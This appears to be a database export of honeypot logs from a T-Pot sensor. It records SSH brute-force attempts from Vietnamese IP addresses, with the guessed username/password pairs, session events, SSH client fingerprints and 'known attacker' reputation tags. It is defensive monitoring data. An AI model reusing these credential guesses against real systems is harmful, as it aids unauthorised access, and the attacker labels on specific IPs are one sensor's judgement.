"2021-09-20T11:07:19.683228Z", "@timestamp": "2021-09-20T11:07:19.683Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23056	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:18.062809+03	2021-09-20 14:15:07.01447+03	{"_id": "MAbjAnwBvYTbRNuEiAkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [arnaudpolska-pl/arnaud] failed", "session": "d6f8356224b5", "@version": "1", "password": "arnaud", "username": "arnaudpolska-pl", "timestamp": "2021-09-20T11:07:18.062809Z", "@timestamp": "2021-09-20T11:07:18.062Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23027	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:19.891534+03	2021-09-20 14:15:06.9785+03	{"_id": "vwbjAnwBvYTbRNuEjwnl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 52640, "dest_port": 22, "timestamp": "2021-09-20T11:07:19.891534", "@timestamp": "2021-09-20T11:07:19.891Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23028	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:19.350497+03	2021-09-20 14:15:06.980472+03	{"_id": "wAbjAnwBvYTbRNuEjwnl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "d6f8356224b5", "@version": "1", "duration": 4.517723321914673, "timestamp": "2021-09-20T11:07:19.350497Z", "@timestamp": "2021-09-20T11:07:19.350Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23029	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:19.381155+03	2021-09-20 14:15:06.9815+03	{"_id": "wQbjAnwBvYTbRNuEjwnl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [staff/staff] failed", "session": "1f6da6736d76", "@version": "1", "password": "staff", "username": "staff", "timestamp": "2021-09-20T11:07:19.381155Z", "@timestamp": "2021-09-20T11:07:19.381Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23030	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:20.072776+03	2021-09-20 14:15:06.98247+03	{"_id": "sAbjAnwBvYTbRNuEjwng", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a84799560cf6", "@version": "1", "duration": 2.9998087882995605, "timestamp": "2021-09-20T11:07:20.072776Z", "@timestamp": "2021-09-20T11:07:20.072Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23031	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:20.190327+03	2021-09-20 14:15:06.983471+03	{"_id": "sQbjAnwBvYTbRNuEjwng", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5ac5f1b830b0", "@version": "1", "duration": 2.604325771331787, "timestamp": "2021-09-20T11:07:20.190327Z", "@timestamp": "2021-09-20T11:07:20.190Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23032	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:20.129085+03	2021-09-20 14:15:06.9855+03	{"_id": "xgbjAnwBvYTbRNuEkglS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 187182919171133, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58238, "dest_port": 22, "timestamp": "2021-09-20T11:07:20.129085Z", "@timestamp": "2021-09-20T11:07:20.129Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23033	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:20.334068+03	2021-09-20 14:15:06.98647+03	{"_id": "1AbjAnwBvYTbRNuEkwnK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57778, "dest_port": 22, "timestamp": "2021-09-20T11:07:20.334068", "@timestamp": "2021-09-20T11:07:20.334Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23034	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:20.636156+03	2021-09-20 14:15:06.98751+03	{"_id": "1QbjAnwBvYTbRNuEkwnK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36148, "timestamp": "2021-09-20T11:07:20.636156", "@timestamp": "2021-09-20T11:07:20.636Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23035	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:20.23925+03	2021-09-20 14:15:06.989504+03	{"_id": "1gbjAnwBvYTbRNuEkwnK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [car/car] failed", "session": "482f54a8b521", "@version": "1", "password": "car", "username": "car", "timestamp": "2021-09-20T11:07:20.239250Z", "@timestamp": "2021-09-20T11:07:20.239Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23036	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:20.343713+03	2021-09-20 14:15:06.990472+03	{"_id": "3gbjAnwBvYTbRNuEkwnQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:35600 (192.168.176.2:22) [session: 0fd9c92632ff]", "session": "0fd9c92632ff", "@version": "1", "protocol": "ssh", "src_port": 35600, "dest_port": 22, "timestamp": "2021-09-20T11:07:20.343713Z", "@timestamp": "2021-09-20T11:07:20.343Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23037	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:20.662999+03	2021-09-20 14:15:06.991471+03	{"_id": "3AbjAnwBvYTbRNuEkwnL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35600, "dest_port": 22, "timestamp": "2021-09-20T11:07:20.662999", "@timestamp": "2021-09-20T11:07:20.662Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
